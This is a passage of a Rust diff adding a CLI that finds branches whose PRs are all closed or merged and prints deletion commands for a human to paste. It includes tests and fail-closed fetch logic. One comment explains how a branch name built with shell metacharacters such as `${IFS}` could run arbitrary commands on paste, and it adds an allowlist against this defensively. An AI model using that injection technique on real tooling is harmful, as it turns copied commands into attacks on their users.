PrState { + pub fn parse(raw: &str) -> Self { + match raw { + "OPEN" => PrState::Open, + "CLOSED" => PrState::Closed, + "MERGED" => PrState::Merged, + _ => PrState::Unknown, + } + } + + /// この PR がブランチを「まだ生きている」側に留めるか。 + /// + /// `Unknown` が `true` なのは上記のとおり保護側へ倒すため。 + fn keeps_branch_alive(self) -> bool { + matches!(self, PrState::Open | PrState::Unknown) + } +} + +/// 1 件の PR。判定に要る最小限だけを持つ。 +#[derive(Clone, Debug, PartialEq, Eq)] +pub struct PrRecord { + pub number: u64, + pub head_ref: String, + pub state: PrState, +} + +/// ブランチ 1 本の分類結果。 +#[derive(Clone, Debug, PartialEq, Eq)] +pub enum BranchVerdict { + /// trunk / 保護ブランチ。提案対象から常に外す。 + Protected, + /// open (または解釈不能) な PR が紐づく。まだ作業中なので触らない。 + Active { open_prs: Vec }, + /// 紐づく PR がすべて closed / merged。**削除提案の対象**。 + Stale { closed_prs: Vec }, + /// PR が 1 件も無い。**提案対象にしない** (§ なぜ提案しないか を参照)。 + NoPullRequest, +} + +/// 分類済みの 1 行。 +#[derive(Clone, Debug, PartialEq, Eq)] +pub struct ClassifiedBranch { + pub branch: String, + pub verdict: BranchVerdict, +} + +/// trunk 判定。ここに載る名前は何があっても削除提案に出さない。 +/// +/// `lib_jj_helpers::is_trunk_bookmark` の呼び出し (関数自体の共有ではない) で +/// `main`/`master`/`trunk`/`develop` を additive に保護する。関数を丸ごと共有しない +/// (呼ぶだけに留める) のは、あちらが jj の bookmark 名 (ローカル概念) を対象にするのに対し +/// こちらは remote ref 名を対象にするため。将来ずれる可能性のある 2 つの概念を 1 関数に +/// 束ねはしないが、trunk 名の**値**の出どころは 1 箇所 (`TRUNK_BOOKMARKS`) に揃える +/// (SIM-NEW-cli-stale-branch-scan-classify-L283: 独自 hardcode がここからずれて +/// `develop` 等の trunk を守れていなかった)。 +/// +/// `configured_trunk` は `push-runner-config.toml` の `default_branch` (未設定/読み取り +/// 失敗時は `None`)。`TRUNK_BOOKMARKS` に無い名前をリポジトリが trunk として設定していても +/// 保護対象に含める。 +fn is_protected(branch: &str, configured_trunk: Option<&str>) -> bool { + lib_jj_helpers::is_trunk_bookmark(branch) + || branch == "HEAD" + || configured_trunk == Some(branch) +} + +/// remote ブランチ一覧と PR 一覧から、各ブランチの扱いを決める。 +/// +/// `configured_trunk` は [`is_protected`] 参照。 +/// +/// 出力はブランチ名の昇順で決定論的に並ぶ (同じ入力なら同じレポートになる)。 +pub fn classify( + remote_branches: &[String], + prs: &[PrRecord], + configured_trunk: Option<&str>, +) -> Vec { + let mut out: Vec = remote_branches + .iter() + .map(|branch| ClassifiedBranch { + branch: branch.clone(), + verdict: verdict_for(branch, prs, configured_trunk), + }) + .collect(); + out.sort_by(|a, b| a.branch.cmp(&b.branch)); + out.dedup_by(|a, b| a.branch == b.branch); + out +} + +/// ブランチを生かし続けている PR 番号を返す。 +/// +/// **1 本でも該当があればそのブランチは Active。** ブランチに複数 PR が紐づく形 +/// (close 後に別 PR を開いた / reopen された) は実際に起こり、閉じた側だけを見て +/// 削除提案に載せると**作業中のブランチを消す提案**になる。 +fn prs_keeping_branch_alive(branch: &str, prs: &[PrRecord]) -> Vec { + sorted( + prs.iter() + .filter(|pr| pr.head_ref == branch && pr.state.keeps_branch_alive()) + .map(|pr| pr.number) + .collect(), + ) +} + +fn prs_for_branch(branch: &str, prs: &[PrRecord]) -> Vec { + sorted(prs.iter().filter(|pr| pr.head_ref == branch).map(|pr| pr.number).collect()) +} + +fn verdict_for(branch: &str, prs: &[PrRecord], configured_trunk: Option<&str>) -> BranchVerdict { + if is_protected(branch, configured_trunk) { + return BranchVerdict::Protected; + } + let all_prs = prs_for_branch(branch, prs); + if all_prs.is_empty() { + return BranchVerdict::NoPullRequest; + } + let alive = prs_keeping_branch_alive(branch, prs); + if !alive.is_empty() { + return BranchVerdict::Active { open_prs: alive }; + } + BranchVerdict::Stale { closed_prs: all_prs } +} + +fn sorted(mut v: Vec) -> Vec { + v.sort_unstable(); + v +} + +/// 削除提案の対象だけを取り出す。 +pub fn deletion_candidates(classified: &[ClassifiedBranch]) -> Vec<&ClassifiedBranch> { + classified + .iter() + .filter(|c| matches!(c.verdict, BranchVerdict::Stale { .. })) + .collect() +} + +#[cfg(test)] +mod tests { + use super::*; + + fn pr(number: u64, head: &str, state: &str) -> PrRecord { + PrRecord { number, head_ref: head.to_string(), state: PrState::parse(state) } + } + + fn branches(names: &[&str]) -> Vec { + names.iter().map(|s| s.to_string()).collect() + } + + fn verdict(branch: &str, prs: &[PrRecord]) -> BranchVerdict { + classify(&branches(&[branch]), prs, None).remove(0).verdict + } + + #[test] + fn closed_and_merged_prs_leave_a_stale_branch() { + assert_eq!( + verdict("claude/nightly-203", &[pr(365, "claude/nightly-203", "CLOSED")]), + BranchVerdict::Stale { closed_prs: vec![365] } + ); + assert_eq!( + verdict("feat/x", &[pr(1, "feat/x", "MERGED")]), + BranchVerdict::Stale { closed_prs: vec![1] } + ); + } + + #[test] + fn an_open_pr_keeps_the_branch_active() { + assert_eq!( + verdict("feat/x", &[pr(7, "feat/x", "OPEN")]), + BranchVerdict::Active { open_prs: vec![7] } + ); + } + + /// ブランチに複数 PR が紐づく形 (close 後に開き直した / reopen)。 + /// **1 本でも open があれば Active**。閉じた側だけ見て消す提案を出さない。 + #[test] + fn a_single_open_pr_outweighs_any_number_of_closed_ones() { + let prs = [ + pr(1, "feat/x", "CLOSED"), + pr(2, "feat/x", "MERGED"), + pr(3, "feat/x", "OPEN"), + ]; + assert_eq!(verdict("feat/x", &prs), BranchVerdict::Active { open_prs: vec![3] }); + } + + /// 未知の state は open 扱い (保護側)。GitHub が state を追加しても、解釈できない + /// PR を持つブランチが削除提案に載らない。 + #[test] + fn an_unparseable_state_protects_the_branch() { + assert_eq!( + verdict("feat/x", &[pr(9, "feat/x", "DRAFT_SOMETHING_NEW")]), + BranchVerdict::Active { open_prs: vec![9] } + ); + assert_eq!(PrState::parse(""), PrState::Unknown); + assert_eq!(PrState::parse("open"), PrState::Unknown, "小文字は受理しない"); + } + + #[test] + fn trunk_is_never_a_candidate() { + for name in ["master", "main", "HEAD"] { + assert_eq!(verdict(name, &[pr(1, name, "MERGED")]), BranchVerdict::Protected); + } + } + + /// `lib_jj_helpers::TRUNK_BOOKMARKS` にのみ含まれる trunk 名 (`trunk` / `develop`) も + /// 保護対象になる (SIM-NEW-cli-stale-branch-scan-classify-L283 の回帰固定)。 + #[test] + fn trunk_bookmarks_names_beyond_master_and_main_are_protected() { + for name in ["trunk", "develop"] { + assert_eq!(verdict(name, &[pr(1, name, "MERGED")]), BranchVerdict::Protected); + } + } + + /// `push-runner-config.toml` の `default_branch` (= `configured_trunk`) が + /// `TRUNK_BOOKMARKS` に無い名前でも保護対象になる。 + #[test] + fn configured_trunk_outside_trunk_bookmarks_is_protected() { + let classified = classify( + &branches(&["release"]), + &[pr(1, "release", "MERGED")], + Some("release"), + ); + assert_eq!(classified[0].verdict, BranchVerdict::Protected); + } + + /// PR が 1 件も無いブランチは提案しない。作業中の WIP や、まだ PR を開いていない + /// ブランチを消す提案になるため (§ なぜ提案しないか)。 + #[test] + fn a_branch_without_any_pr_is_not_proposed() { + assert_eq!(verdict("wip/scratch", &[]), BranchVerdict::NoPullRequest); + let classified = classify(&branches(&["wip/scratch"]), &[], None); + assert!(deletion_candidates(&classified).is_empty()); + } + + /// `claude/nightly-*` を除外しない (2026-08-09 ユーザー判断)。除外すると + /// クローズ済み夜間 PR のブランチが永久に残り、同じ順位が選べなくなる。 + #[test] + fn nightly_branches_are_included_not_excluded() { + let classified = classify( + &branches(&["claude/nightly-203"]), + &[pr(365, "claude/nightly-203", "CLOSED")], + None, + ); + let candidates = deletion_candidates(&classified); + assert_eq!(candidates.len(), 1); + assert_eq!(candidates[0].branch, "claude/nightly-203"); + } + + /// 出力はブランチ名昇順で決定論的。同じ入力なら同じレポートになる + /// (週次で diff を取る運用のため)。 + #[test] + fn output_is_sorted_and_deduplicated() { + let classified = classify( + &branches(&["zeta", "alpha", "alpha", "master"]), + &[pr(1, "zeta", "CLOSED"), pr(2, "alpha", "CLOSED")], + None, + ); + let names: Vec<&str> = classified.iter().map(|c| c.branch.as_str()).collect(); + assert_eq!(names, vec!["alpha", "master", "zeta"]); + } + + /// 他ブランチの PR は判定に混ざらない (prefix 一致ではなく完全一致)。 + #[test] + fn pr_matching_is_exact_not_prefix() { + assert_eq!( + verdict("feat/x", &[pr(1, "feat/x-extended", "OPEN")]), + BranchVerdict::NoPullRequest + ); + } +} diff --git a/src/cli-stale-branch-scan/src/collect.rs b/src/cli-stale-branch-scan/src/collect.rs new file mode 100644 index 00000000..035e2e02 --- /dev/null +++ b/src/cli-stale-branch-scan/src/collect.rs @@ -0,0 +1,306 @@ +//! 実データの取得と parse (順位 395)。 +//! +//! [`crate::classify`] が純粋判定を担うので、本 module は**外界から値を取り出すところまで**で +//! 止まる。判定に使う値をここで作り込まない。 +//! +//! # fail-closed の方針 +//! +//! 本 scan の最悪の失敗は「取得に失敗したのに 0 件と報告し、`clean` に見える」こと +//! ([ADR-043](../../../docs/adr/adr-043-security-gates-fail-closed.md))。取得に少しでも +//! 不確かさがあれば `Err` を返し、呼び手 (main) が非ゼロ終了で loud に落とす。 +//! +//! **空出力と失敗は必ず区別する。** `git ls-remote` は一致なしでも exit 0 + 空出力になるため +//! 「0 本」と「取得できなかった」を取り違えない ([ADR-072](../../../docs/adr/adr-072-nightly-todo-loop.md) 決定 3 と同じ理由)。 + +use std::process::{Command, Stdio}; + +use lib_subprocess::{drain_pipe_unlimited, wait_with_timeout_basic}; + +use crate::classify::{PrRecord, PrState}; + +/// **1 ブランチあたり**の PR 取得上限。到達したら数え落としの可能性があるため [`Err`] にする。 +/// +/// PR を全件引かず `--head ` で 1 ブランチずつ引くのは、**総 PR 数が単調増加する** +/// のに対し remote ブランチ数は運用上小さく有界だから。全件方式は「上限を上げ続ける」保守を +/// 生み、上限に張り付いた瞬間 fail-closed で scan 自体が止まる (実際に本リポジトリで踏んだ: +/// PR が 300 件を超えた時点で全件方式は使えなくなっていた)。 +pub const PR_FETCH_LIMIT_PER_BRANCH: usize = 50; + +/// 走査するブランチ数の上限。 +/// +/// 1 ブランチ 1 回の `gh` 呼び出しになるため、異常な本数のときは呼び出し嵐を起こす前に止める。 +/// 通常運用では 1 桁で、この値に届くこと自体が「ブランチ整理が必要」の合図になる。 +pub const BRANCH_SCAN_LIMIT: usize = 100; + +pub type CollectResult = Result; + +/// `git ls-remote --heads ` の生出力から branch 名を取り出す。 +/// +/// 行の形は `\trefs/heads/`。`refs/heads/` 前置きでない行は無視する +/// (remote によっては注記行が混ざる)。 +pub fn parse_ls_remote(raw: &str) -> Vec { + raw.lines() + .filter_map(|line| line.split('\t').nth(1)) + .filter_map(|reference| reference.strip_prefix("refs/heads/")) + .map(|name| name.trim().to_string()) + .filter(|name| !name.is_empty()) + .collect() +} + +/// `gh pr list --json number,headRefName,state` の出力を [`PrRecord`] へ変換する。 +/// +/// **要素の欠損は握り潰さず [`Err`]**。number / headRefName / state のいずれかが読めない PR が +/// 混ざると、そのブランチが「PR 無し」と誤判定されて削除提案に載りうる。 +pub fn parse_pr_list(raw: &str) -> CollectResult> { + let parsed: serde_json::Value = + serde_json::from_str(raw).map_err(|e| format!("gh pr list の JSON を parse できません: {e}"))?; + let array = parsed + .as_array() + .ok_or_else(|| "gh pr list の出力が配列ではありません".to_string())?; + if array.len() >= PR_FETCH_LIMIT_PER_BRANCH { + return Err(format!( + "1 ブランチの PR 取得件数が上限 ({PR_FETCH_LIMIT_PER_BRANCH}) に達しており、\ +数え落としの可能性があります (不完全な一覧で削除提案を出さないための停止)" + )); + } + array + .iter() + .map(|item| { + let number = item + .get("number") + .and_then(serde_json::Value::as_u64) + .ok_or_else(|| format!("PR の number を読めません: {item}"))?; + let head_ref = item + .get("headRefName") + .and_then(serde_json::Value::as_str) + .ok_or_else(|| format!("PR #{number} の headRefName を読めません"))? + .to_string(); + let state_raw = item + .get("state") + .and_then(serde_json::Value::as_str) + .ok_or_else(|| format!("PR #{number} の state を読めません"))?; + Ok(PrRecord { number, head_ref, state: PrState::parse(state_raw) }) + }) + .collect() +} + +/// 外部コマンド 1 回あたりの timeout。 +/// +/// `git ls-remote` / `gh pr list` はどちらもネットワーク越しの操作で、DNS/TCP hang・ +/// 一時的な GitHub 障害・`gh` の認証プロンプト待ちで無期限にハングし得る。本 exe は +/// module doc のとおり weekly-review skill 内で同期実行されるため、ここが止まると +/// パイプライン全体が無診断でハングする (SIM-NEW-cli-stale-branch-scan-collect-L89)。 +/// ローカル操作の `JJ_TIMEOUT_SECS = 30` (`cli-push-runner` 各 stage) より長く取るのは、 +/// ネットワーク往復を伴う分レイテンシが大きいため (`cli-pr-monitor` の +/// `DEFAULT_CHECK_TIMEOUT_SECS = 60` と同水準)。 +const RUN_TIMEOUT_SECS: u64 = 60; + +/// 外部コマンドを直接 argv で起動し、成功時のみ stdout を返す。 +/// +/// shell を経由しないのは、`cmd.exe` がクォートを剥がさず Windows だけ壊れる形を避けるため +/// (memory `jj-revset-cmd-vs-sh-quoting` の教訓)。timeout 超過時は子プロセスを kill して +/// [`Err`] を返し、呼び手 (main) の既存 fail-closed exit(1) 経路に合流させる +/// ([`RUN_TIMEOUT_SECS`] の doc参照)。 +fn run(program: &str, args: &[&str]) -> CollectResult { + let mut child = Command::new(program) + .args(args) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn() + .map_err(|e| format!("{program} を起動できません: {e}"))?; + + let stdout_handle = drain_pipe_unlimited(child.stdout.take().expect("stdout must be piped")); + let stderr_handle = drain_pipe_unlimited(child.stderr.take().expect("stderr must be piped")); + + let status = wait_with_timeout_basic(program, &mut child, RUN_TIMEOUT_SECS) + .map_err(|e| format!("{program} の wait に失敗しました: {e}"))?; + + let stdout = stdout_handle.join().unwrap_or_default(); + let stderr = stderr_handle.join().unwrap_or_default(); + + match status { + None => Err(format!( + "{program} {} がタイムアウトしました ({RUN_TIMEOUT_SECS}s)", + args.join(" ") + )), + Some(status) if status.success() => Ok(stdout), + Some(status) => Err(format!( + "{program} {} が失敗しました (exit {:?}): {}", + args.join(" "), + status.code(), + stderr.trim() + )), + } +} + +pub fn fetch_remote_branches(remote: &str) -> CollectResult> { + Ok(parse_ls_remote(&run("git", &["ls-remote", "--heads", remote])?)) +} + +/// remote ブランチ 1 本ずつ `--head` 指定で PR を引き、全件を連結して返す。 +/// +/// 全件取得しないのは [`PR_FETCH_LIMIT_PER_BRANCH`] の doc に書いたとおり。ブランチ数が +/// [`BRANCH_SCAN_LIMIT`] を超える場合は呼び出し嵐を避けて停止する。 +pub fn fetch_pull_requests_for(branches: &[String], repo: Option<&str>) -> CollectResult> { + if branches.len() > BRANCH_SCAN_LIMIT { + return Err(format!( + "remote ブランチが {} 本あり上限 ({BRANCH_SCAN_LIMIT}) を超えています。\ +1 本ごとに gh を呼ぶ設計のため停止します (先にブランチを整理してください)", + branches.len() + )); + } + let mut all = Vec::new(); + for branch in branches { + all.extend(fetch_pull_requests_for_branch(branch, repo)?); + } + Ok(all) +} + +fn fetch_pull_requests_for_branch(branch: &str, repo: Option<&str>) -> CollectResult> { + fetch_pull_requests_for_branch_with(branch, repo, |args| run("gh", args)) +} + +/// [`fetch_pull_requests_for_branch`] から `gh` 起動だけを差し替え可能にした形。 +/// +/// 実行層を closure で受けるのは、**失敗経路をネットワーク無しでテストするため**。 +/// `gh` の起動失敗 / timeout / 非ゼロ exit は実 API を叩かずに再現したい。 +fn fetch_pull_requests_for_branch_with( + branch: &str, + repo: Option<&str>, + run_gh: F, +) -> CollectResult> +where + F: Fn(&[&str]) -> CollectResult, +{ + let limit = PR_FETCH_LIMIT_PER_BRANCH.to_string(); + let mut args = vec![ + "pr", "list", "--state", "all", "--head", branch, "--limit", &limit, + "--json", "number,headRefName,state", + ]; + if let Some(repo) = repo { + args.push("--repo"); + args.push(repo); + } + let annotate = |e: String| format!("ブランチ {branch:?} の PR 取得に失敗: {e}"); + let raw = run_gh(&args).map_err(annotate)?; + parse_pr_list(&raw).map_err(annotate) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn ls_remote_lines_yield_branch_names() { + let raw = "abc123\trefs/heads/master\ndef456\trefs/heads/claude/nightly-203\n"; + assert_eq!(parse_ls_remote(raw), vec!["master", "claude/nightly-203"]); + } + + /// 一致なしの空出力は「0 本」。ここで `Err` にしないのは、空が正常な結果でもあるため。 + /// 取得**失敗**は [`run`] が非ゼロ exit で捕まえる。 + #[test] + fn empty_ls_remote_output_is_zero_branches_not_an_error() { + assert!(parse_ls_remote("").is_empty()); + } + + #[test] + fn non_head_refs_are_ignored() { + let raw = "abc\trefs/tags/v1\ndef\trefs/heads/feat/x\nghi\tgarbage\n"; + assert_eq!(parse_ls_remote(raw), vec!["feat/x"]); + } + + #[test] + fn pr_list_json_maps_to_records() { + let raw = r#"[{"number":365,"headRefName":"claude/nightly-203","state":"CLOSED"}]"#; + let prs = parse_pr_list(raw).expect("parse"); + assert_eq!(prs.len(), 1); + assert_eq!(prs[0].number, 365); + assert_eq!(prs[0].head_ref, "claude/nightly-203"); + assert_eq!(prs[0].state, PrState::Closed); + } + + /// 欠損フィールドを握り潰さない。潰すとそのブランチが「PR 無し」に見え、 + /// 削除提案の判定が静かに変わる。 + #[test] + fn a_pr_with_missing_fields_is_an_error() { + for raw in [ + r#"[{"headRefName":"feat/x","state":"OPEN"}]"#, + r#"[{"number":1,"state":"OPEN"}]"#, + r#"[{"number":1,"headRefName":"feat/x"}]"#, + ] { + assert!(parse_pr_list(raw).is_err(), "{raw} が Err にならない"); + } + } + + #[test] + fn malformed_json_is_an_error() { + assert!(parse_pr_list("not json").is_err()); + assert!(parse_pr_list(r#"{"number":1}"#).is_err(), "配列でない JSON は Err"); + } + + #[test] + fn empty_pr_list_is_ok() { + assert_eq!(parse_pr_list("[]").expect("parse").len(), 0); + } + + /// 取得上限に張り付いたら停止する。不完全な一覧で「この PR は無い = ブランチは stale」と + /// 判定するのが最も危ない誤りなので、数え落としの可能性がある時点で落とす。 + #[test] + fn hitting_the_fetch_limit_is_an_error_not_a_truncated_list() { + let items: Vec = (0..PR_FETCH_LIMIT_PER_BRANCH) + .map(|i| format!(r#"{{"number":{i},"headRefName":"b{i}","state":"OPEN"}}"#)) + .collect(); + let raw = format!("[{}]", items.join(",")); + let err = parse_pr_list(&raw).expect_err("上限到達は Err であるべき"); + assert!(err.contains("上限"), "{err}"); + } + + /// ブランチ数が異常なときは gh を 1 本も叩かずに停止する (呼び出し嵐の予防)。 + /// ネットワークに触らないことを、実行が即 `Err` で返ることで確認する。 + #[test] + fn too_many_branches_stops_before_calling_gh() { + let branches: Vec = (0..=BRANCH_SCAN_LIMIT).map(|i| format!("b{i}")).collect(); + let err = fetch_pull_requests_for(&branches, None).expect_err("上限超過は Err"); + assert!(err.contains("上限"), "{err}"); + } + + /// ブランチ 0 本なら gh を呼ばずに空を返す (remote が空のリポジトリで落ちない)。 + #[test] + fn zero_branches_needs_no_gh_call() { + assert_eq!(fetch_pull_requests_for(&[], None).expect("ok").len(), 0); + } + + /// **`gh` 自体の失敗にもブランチ名を添える。** + /// + /// 最大 100 ブランチを順に回すため、起動失敗 / timeout / 非ゼロ exit のどれで止まっても + /// 「どのブランチで停止したか」がエラー文に無いと、fail-closed 停止後の原因切り分けが + /// できない。parse 失敗側だけに文脈を付けていたのを両経路へ揃えた回帰固定。 + #[test] + fn a_gh_failure_is_annotated_with_the_branch_name() { + let err = fetch_pull_requests_for_branch_with("claude/nightly-203", None, |_| { + Err("gh を起動できません: not found".to_string()) + }) + .expect_err("run 失敗は Err"); + assert!(err.contains("claude/nightly-203"), "{err}"); + assert!(err.contains("gh を起動できません"), "元の原因が失われている: {err}"); + } + + /// parse 側の失敗も同じ文脈が付く (両経路が同じ形であることの対照)。 + #[test] + fn a_parse_failure_is_annotated_with_the_same_branch_context() { + let err = fetch_pull_requests_for_branch_with("feat/x", None, |_| Ok("not json".to_string())) + .expect_err("parse 失敗は Err"); + assert!(err.contains("feat/x"), "{err}"); + } + + /// 成功経路は closure 注入でも素通しする (注入がロジックを変えていないことの確認)。 + #[test] + fn the_injected_runner_is_used_for_the_success_path() { + let prs = fetch_pull_requests_for_branch_with("feat/x", None, |args| { + assert!(args.contains(&"--head"), "--head が渡っていない: {args:?}"); + Ok(r#"[{"number":1,"headRefName":"feat/x","state":"OPEN"}]"#.to_string()) + }) + .expect("ok"); + assert_eq!(prs.len(), 1); + } +} diff --git a/src/cli-stale-branch-scan/src/main.rs b/src/cli-stale-branch-scan/src/main.rs new file mode 100644 index 00000000..4d13e18b --- /dev/null +++ b/src/cli-stale-branch-scan/src/main.rs @@ -0,0 +1,521 @@ +//! クローズ済み / マージ済み PR の残存ブランチを検出し、削除を**提案**する (順位 395)。 +//! +//! # 使い方 +//! +//! ```text +//! cli-stale-branch-scan [--remote ] [--repo ] +//! ``` +//! +//! # なぜ takt workflow の中に置かないか +//! +//! 検出には `git ls-remote` と `gh pr list` = **ネットワークが要る**。一方 +//! [`weekly-review.yaml`](../../../.takt/workflows/weekly-review.yaml) は全 provider に +//! `network_access: false` を課しており (他 3 workflow は `true`)、whole-tree review 6 facet を +//! オフラインで走らせる隔離が設計の一部になっている。本 scan のためにこれを反転すると +//! **6 facet すべての隔離が緩む**ため、[ADR-031](../../../docs/adr/adr-031-weekly-review-pipeline.md) +//! の 3 層分離 (機械 / takt AI / skill ask) のうち**機械層**に、takt の外側の exe として置く。 +//! `/monthly-review` が `cli-telemetry-report` を同期実行するのと同じ形。 +//! +//! # 削除はしない +//! +//! 本 exe は**提案までで止まる** ([ADR-022](../../../docs/adr/adr-022-automation-responsibility-separation.md) / +//! [ADR-028](../../../docs/adr/adr-028-pnpm-create-pr-gate.md))。ブランチ削除は外部可視かつ +//! 取り消しコストのある操作で、自律 actor の自動実行可クラスに入らない。出力に含めるのは +//! **人間がそのまま貼れる削除コマンド**であって、実行はしない。 +//! +//! # 出力に wall-clock を含めない理由 +//! +//! 同じリポジトリ状態なら**同じ出力**になるようにしてある。週次で前回分と diff を取り +//! 「今週新たに浮いたブランチ」だけを読むのが本来の使い方で、時刻を混ぜると毎回全行が +//! 差分として出る。実行時刻は呼び手 (skill / weekly report) が記録する。 +//! +//! # exit コード +//! +//! - `0` = scan 成功 (候補の有無は問わない) +//! - `1` = 取得失敗 (fail-closed。**0 件と報告しない**) +//! - `2` = 引数不正 + +mod classify; +mod collect; + +use classify::{BranchVerdict, ClassifiedBranch}; + +const USAGE: &str = "usage: cli-stale-branch-scan [--remote ] [--repo ]"; +const DEFAULT_REMOTE: &str = "origin"; + +struct Cli { + remote: String, + repo: Option, +} + +fn parse_args(argv: &[String]) -> Result { + let mut remote = DEFAULT_REMOTE.to_string(); + let mut repo = None; + let mut i = 0; + while i < argv.len() { + match argv[i].as_str() { + "--remote" => { + remote = argv.get(i + 1).ok_or_else(|| USAGE.to_string())?.clone(); + i += 2; + } + "--repo" => { + repo = Some(argv.get(i + 1).ok_or_else(|| USAGE.to_string())?.clone()); + i += 2; + } + other => return Err(format!("不明な引数: {other:?}\n{USAGE}")), + } + } + if remote.is_empty() { + return Err(format!("--remote は空にできません\n{USAGE}")); + } + Ok(Cli { remote, repo }) +} + +fn main() { + let argv: Vec = std::env::args().skip(1).collect(); + let cli = match parse_args(&argv) { + Ok(cli) => cli, + Err(message) => { + eprintln!("[stale-branch-scan] {message}"); + std::process::exit(2); + } + }; + lib_jj_helpers::inject_git_dir_for_gh(|message| eprintln!("[stale-branch-scan] {message}")); + let branches = match collect::fetch_remote_branches(&cli.remote) { + Ok(branches) => branches, + Err(message) => fail(&message), + }; + let prs = match collect::fetch_pull_requests_for(&branches, cli.repo.as_deref()) { + Ok(prs) => prs, + Err(message) => fail(&message), + }; + let configured_trunk = configured_trunk_branch(); + let classified = classify::classify(&branches, &prs, configured_trunk.as_deref()); + print!("{}", render(&classified, &cli.remote)); +} + +fn fail(message: &str) -> ! { + eprintln!("[stale-branch-scan] 取得に失敗したため中断します: {message}"); + eprintln!("[stale-branch-scan] 不完全な一覧で削除提案を出さないための停止です (0 件ではありません)"); + std::process::exit(1) +} + +/// `push-runner-config.toml` のトップレベル `default_branch` と、それが未設定の場合に +/// フォールバック先となる section override (`[diff]` / `[docs_only_routing]` / +/// `[pr_size_check]`) を読む最小 struct。他のフィールドは無視する (serde 既定の +/// unknown-field 許容)。 +#[derive(serde::Deserialize)] +struct TrunkConfig { + default_branch: Option, + diff: Option, + docs_only_routing: Option, + pr_size_check: Option, +} + +/// section 側の `default_branch` override だけを読む最小 struct。 +#[derive(serde::Deserialize)] +struct TrunkSectionOverride { + default_branch: Option, +} + +/// branch 名を trim し、空文字を `None` に落とす (空白のみの設定値を未設定扱いにする)。 +/// +/// `cli-push-runner` `config::normalize_branch` と同じ規則。 +fn normalize_branch(value: Option<&str>) -> Option { + value.map(str::trim).filter(|s| !s.is_empty()).map(str::to_string) +} + +impl TrunkConfig { + /// top-level `default_branch` が明示されていればそれ。無ければ `[diff]` / + /// `[docs_only_routing]` / `[pr_size_check]` の override 群が**全て一致**していれば + /// その値を返す。`cli-push-runner` `config::Config::effective_default_branch()` + /// (config/mod.rs) と同じ優先順位をミラーする。 + /// + /// このリポジトリの `push-runner-config.toml` は top-level `default_branch` を + /// コメントアウトし `[pr_size_check]` / `[docs_only_routing]` の override だけで + /// trunk 名を揃える構成であり、top-level だけを読むと `None` に落ちて + /// `is_protected()` がそれを trunk と認識できなかった + /// (SIM-NEW-cli-stale-branch-scan-main-L121)。 + fn effective_default_branch(&self) -> Option { + if let Some(top) = normalize_branch(self.default_branch.as_deref()) { + return Some(top); + } + let overrides: Vec = [ + self.diff.as_ref().and_then(|c| c.default_branch.as_deref()), + self.docs_only_routing.as_ref().and_then(|c| c.default_branch.as_deref()), + self.pr_size_check.as_ref().and_then(|c| c.default_branch.as_deref()), + ] + .into_iter() + .filter_map(normalize_branch) + .collect(); + let first = overrides.first()?; + overrides.iter().all(|v| v == first).then(|| first.clone()) + } +} + +/// `push-runner-config.toml` の `default_branch` (top-level またはフォールバック解決後の +/// section override) を追加の保護対象 trunk 名として読む。 +/// +/// [`classify::is_protected`] は `lib_jj_helpers::TRUNK_BOOKMARKS` (`main`/`master`/`trunk`/ +/// `develop`) を既定で保護するが、リポジトリが `default_branch` にそれ以外の名前を設定して +/// いる場合はそれも trunk であり、削除提案に載せてはならない +/// (SIM-NEW-cli-stale-branch-scan-classify-L283)。 +/// +/// 本 exe は push-runner とは独立した機械層 (module doc 参照) であり、 +/// `push-runner-config.toml` を必須入力としない。ファイルが無い / cwd に無い / パース失敗 / +/// `default_branch` 解決不能のいずれでも `None` を返し、`TRUNK_BOOKMARKS` による保護のみで +/// 継続する (fail-closed にはしない。本ファイルの欠如は「除外リポジトリ」ではなく +/// 「push-runner 未導入の派生リポジトリ」でも起こり得るため)。 +fn configured_trunk_branch() -> Option { + let content = std::fs::read_to_string("push-runner-config.toml").ok()?; + parse_configured_trunk_branch(&content) +} + +/// [`configured_trunk_branch`] のファイル IO を切り離した純粋関数。cwd に依存せずテストできる。 +fn parse_configured_trunk_branch(content: &str) -> Option { + let config: TrunkConfig = toml::from_str(content).ok()?; + config.effective_default_branch() +} + +/// markdown レポートを組み立てる。 +/// +/// 3 section とも**件数 0 でも必ず出す**。「候補 0 件」と「section ごと出なかった」を +/// 読み手が区別できるようにするため (file-length-watchlist と同じ約束)。 +fn render(classified: &[ClassifiedBranch], remote: &str) -> String { + let mut out = header(remote); + out.push_str(&proposal_section(classified, remote)); + out.push_str(§ion( + "## 参考: open PR が生きているブランチ (対象外)", + classified, + |verdict| match verdict { + BranchVerdict::Active { open_prs } => { + Some(open_prs.iter().map(|n| format!("#{n}")).collect::>().join(", ")) + } + _ => None, + }, + "PR", + )); + out.push_str(§ion( + "## 参考: PR が 1 件も無いブランチ (提案対象外)", + classified, + |verdict| matches!(verdict, BranchVerdict::NoPullRequest).then(|| "-".to_string()), + "備考", + )); + out.push_str( + "> PR の無いブランチを提案対象にしないのは、**まだ PR を開いていない作業中のブランチ**と\n\ + > 区別できないため。放置が気になる場合は人間が個別に判断する。\n", + ); + out +} + +fn header(remote: &str) -> String { + let mut out = String::from("# Stale Branch Watchlist (機械 scan)\n\n"); + out.push_str(&format!("- remote: `{remote}` / 対象: 全 remote ブランチ (trunk は常に除外)\n")); + out.push_str("- 判定: 紐づく PR がすべて closed / merged なら削除候補。open が 1 本でもあれば対象外\n"); + out.push_str("- **削除は行いません**。実行するかは人間が決めます (ADR-022 / ADR-028)\n\n"); + out +} + +/// 削除コマンドに安全に埋め込める branch 名か判定する。 +/// +/// remote ブランチ名は `git ls-remote` から得た値で、リポジトリに push 権限を持つ誰か +/// (nightly/cloud harness 自動化を含む、他所で既に prompt injection の脅威主体として +/// 扱われている) が任意の文字列を選べる。git の ref 名規則は `;` `$` `` ` `` `|` `{` `}` +/// を許容し (`${IFS}` を使えばスペース無しでも展開できる) ため、本レポートが「そのまま +/// 貼れる削除コマンド」として `branch` を埋め込む設計 (本 module doc 参照) では、細工した +/// ブランチ名がコピペ実行時に任意コマンドを実行し得る +/// (SEC-NEW-cli-stale-branch-scan-main-L154)。安全な文字集合の allowlist で防ぐ。 +fn is_safe_branch_name(branch: &str) -> bool { + !branch.is_empty() + && branch + .chars() + .all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '/' | '-')) +} + +/// ブランチ名を markdown の表セルとして安全に描画する。 +/// +/// **削除コマンドだけを塞いでも足りない。** 